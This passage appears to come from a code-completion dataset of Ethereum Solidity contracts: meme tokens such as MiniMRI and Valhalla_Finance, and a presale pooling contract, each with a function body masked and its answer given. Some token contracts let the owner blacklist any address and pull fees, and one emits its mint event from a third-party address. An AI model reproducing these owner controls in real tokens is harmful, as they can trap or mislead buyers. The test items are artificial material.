swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_feeAddrWallet1 = payable(0x97308de1F2902da2176DCb684E1d24484a52F693); _feeAddrWallet2 = payable(0x97308de1F2902da2176DCb684E1d24484a52F693); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
constructor ()
constructor ()
86,742
NiceContract
set_bonus_received
contract NiceContract { modifier onlyOwner { require(msg.sender == owner); _; } //Store the amount of ETH deposited by each account. mapping (address => uint256) public balances; mapping (address => uint256) public balances_bonus; // Track whether the contract has bought the tokens yet. bool public bought_tokens = false; // Record ETH value of tokens currently held by contract. uint256 public contract_eth_value; uint256 public contract_eth_value_bonus; //Set by the owner in order to allow the withdrawal of bonus tokens. bool bonus_received; // The crowdsale address. address public sale; // Token address ERC20 public token; address constant public owner = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f; // Allows any user to withdraw his tokens. function withdraw() { // Disallow withdraw if tokens haven't been bought yet. require(bought_tokens); uint256 contract_token_balance = token.balanceOf(address(this)); // Disallow token withdrawals if there are no tokens to withdraw. require(contract_token_balance != 0); uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value; // Update the value of tokens currently held by the contract. contract_eth_value -= balances[msg.sender]; // Update the user's balance prior to sending to prevent recursive call. balances[msg.sender] = 0; // Send the funds. Throws on failure to prevent loss of funds. require(token.transfer(msg.sender, tokens_to_withdraw)); } function withdraw_bonus() { /* Special function to withdraw the bonus tokens after the 6 months lockup. bonus_received has to be set to true. */ require(bought_tokens); require(bonus_received); uint256 contract_token_balance = token.balanceOf(address(this)); require(contract_token_balance != 0); uint256 tokens_to_withdraw = (balances_bonus[msg.sender] * contract_token_balance) / contract_eth_value_bonus; contract_eth_value_bonus -= balances_bonus[msg.sender]; balances_bonus[msg.sender] = 0; require(token.transfer(msg.sender, tokens_to_withdraw)); } // Allows any user to get his eth refunded before the purchase is made. function refund_me() { require(!bought_tokens); // Store the user's balance prior to withdrawal in a temporary variable. uint256 eth_to_withdraw = balances[msg.sender]; // Update the user's balance prior to sending ETH to prevent recursive call. balances[msg.sender] = 0; //Updates the balances_bonus too balances_bonus[msg.sender] = 0; // Return the user's funds. Throws on failure to prevent loss of funds. msg.sender.transfer(eth_to_withdraw); } // Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract. function buy_the_tokens() onlyOwner { require(!bought_tokens); require(sale != 0x0); //Record that the contract has bought the tokens. bought_tokens = true; //Record the amount of ETH sent as the contract's current value. contract_eth_value = this.balance; contract_eth_value_bonus = this.balance; // Transfer all the funds to the crowdsale address. sale.transfer(contract_eth_value); } function set_sale_address(address _sale) onlyOwner { //Avoid the mistake of setting the sale address at 0x0 require(!bought_tokens); require(sale == 0x0); require(_sale != 0x0); sale = _sale; } function set_token_address(address _token) onlyOwner { require(_token != 0x0); token = ERC20(_token); } function set_bonus_received() onlyOwner {<FILL_FUNCTION_BODY> } // Default function. Called when a user sends ETH to the contract. function () payable { require(!bought_tokens); //Updates both of the balances balances[msg.sender] += msg.value; balances_bonus[msg.sender] += msg.value; } }
contract NiceContract { modifier onlyOwner { require(msg.sender == owner); _; } //Store the amount of ETH deposited by each account. mapping (address => uint256) public balances; mapping (address => uint256) public balances_bonus; // Track whether the contract has bought the tokens yet. bool public bought_tokens = false; // Record ETH value of tokens currently held by contract. uint256 public contract_eth_value; uint256 public contract_eth_value_bonus; //Set by the owner in order to allow the withdrawal of bonus tokens. bool bonus_received; // The crowdsale address. address public sale; // Token address ERC20 public token; address constant public owner = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f; // Allows any user to withdraw his tokens. function withdraw() { // Disallow withdraw if tokens haven't been bought yet. require(bought_tokens); uint256 contract_token_balance = token.balanceOf(address(this)); // Disallow token withdrawals if there are no tokens to withdraw. require(contract_token_balance != 0); uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value; // Update the value of tokens currently held by the contract. contract_eth_value -= balances[msg.sender]; // Update the user's balance prior to sending to prevent recursive call. balances[msg.sender] = 0; // Send the funds. Throws on failure to prevent loss of funds. require(token.transfer(msg.sender, tokens_to_withdraw)); } function withdraw_bonus() { /* Special function to withdraw the bonus tokens after the 6 months lockup. bonus_received has to be set to true. */ require(bought_tokens); require(bonus_received); uint256 contract_token_balance = token.balanceOf(address(this)); require(contract_token_balance != 0); uint256 tokens_to_withdraw = (balances_bonus[msg.sender] * contract_token_balance) / contract_eth_value_bonus; contract_eth_value_bonus -= balances_bonus[msg.sender]; balances_bonus[msg.sender] = 0; require(token.transfer(msg.sender, tokens_to_withdraw)); } // Allows any user to get his eth refunded before the purchase is made. function refund_me() { require(!bought_tokens); // Store the user's balance prior to withdrawal in a temporary variable. uint256 eth_to_withdraw = balances[msg.sender]; // Update the user's balance prior to sending ETH to prevent recursive call. balances[msg.sender] = 0; //Updates the balances_bonus too balances_bonus[msg.sender] = 0; // Return the user's funds. Throws on failure to prevent loss of funds. msg.sender.transfer(eth_to_withdraw); } // Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract. function buy_the_tokens() onlyOwner { require(!bought_tokens); require(sale != 0x0); //Record that the contract has bought the tokens. bought_tokens = true; //Record the amount of ETH sent as the contract's current value. contract_eth_value = this.balance; contract_eth_value_bonus = this.balance; // Transfer all the funds to the crowdsale address. sale.transfer(contract_eth_value); } function set_sale_address(address _sale) onlyOwner { //Avoid the mistake of setting the sale address at 0x0 require(!bought_tokens); require(sale == 0x0); require(_sale != 0x0); sale = _sale; } function set_token_address(address _token) onlyOwner { require(_token != 0x0); token = ERC20(_token); } <FILL_FUNCTION> // Default function. Called when a user sends ETH to the contract. function () payable { require(!bought_tokens); //Updates both of the balances balances[msg.sender] += msg.value; balances_bonus[msg.sender] += msg.value; } }
bonus_received = true;
function set_bonus_received() onlyOwner
function set_bonus_received() onlyOwner
20,675
MiniMRI
openTrading
contract MiniMRI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Mini Marshall Rogan Inu"; string private constant _symbol = "MINIMRI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x000EB5991a6c7fB52f8c6Fbdcf01AF2eFFE6a18c); _feeAddrWallet2 = payable(0x000EB5991a6c7fB52f8c6Fbdcf01AF2eFFE6a18c); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() {<FILL_FUNCTION_BODY> } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract MiniMRI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Mini Marshall Rogan Inu"; string private constant _symbol = "MINIMRI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x000EB5991a6c7fB52f8c6Fbdcf01AF2eFFE6a18c); _feeAddrWallet2 = payable(0x000EB5991a6c7fB52f8c6Fbdcf01AF2eFFE6a18c); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } <FILL_FUNCTION> function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
function openTrading() external onlyOwner()
function openTrading() external onlyOwner()
74,179
Valhalla_Finance
name
contract Valhalla_Finance is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Valhalla_Finance_vMOON"; string private _symbol = "vMOON"; uint8 private _decimals = 18; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 2; uint256 private _previousLiquidityFee = _liquidityFee; //No limit uint256 public _maxTxAmount = _tTotal; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 private minTokensBeforeSwap = 8; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) {<FILL_FUNCTION_BODY> } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee 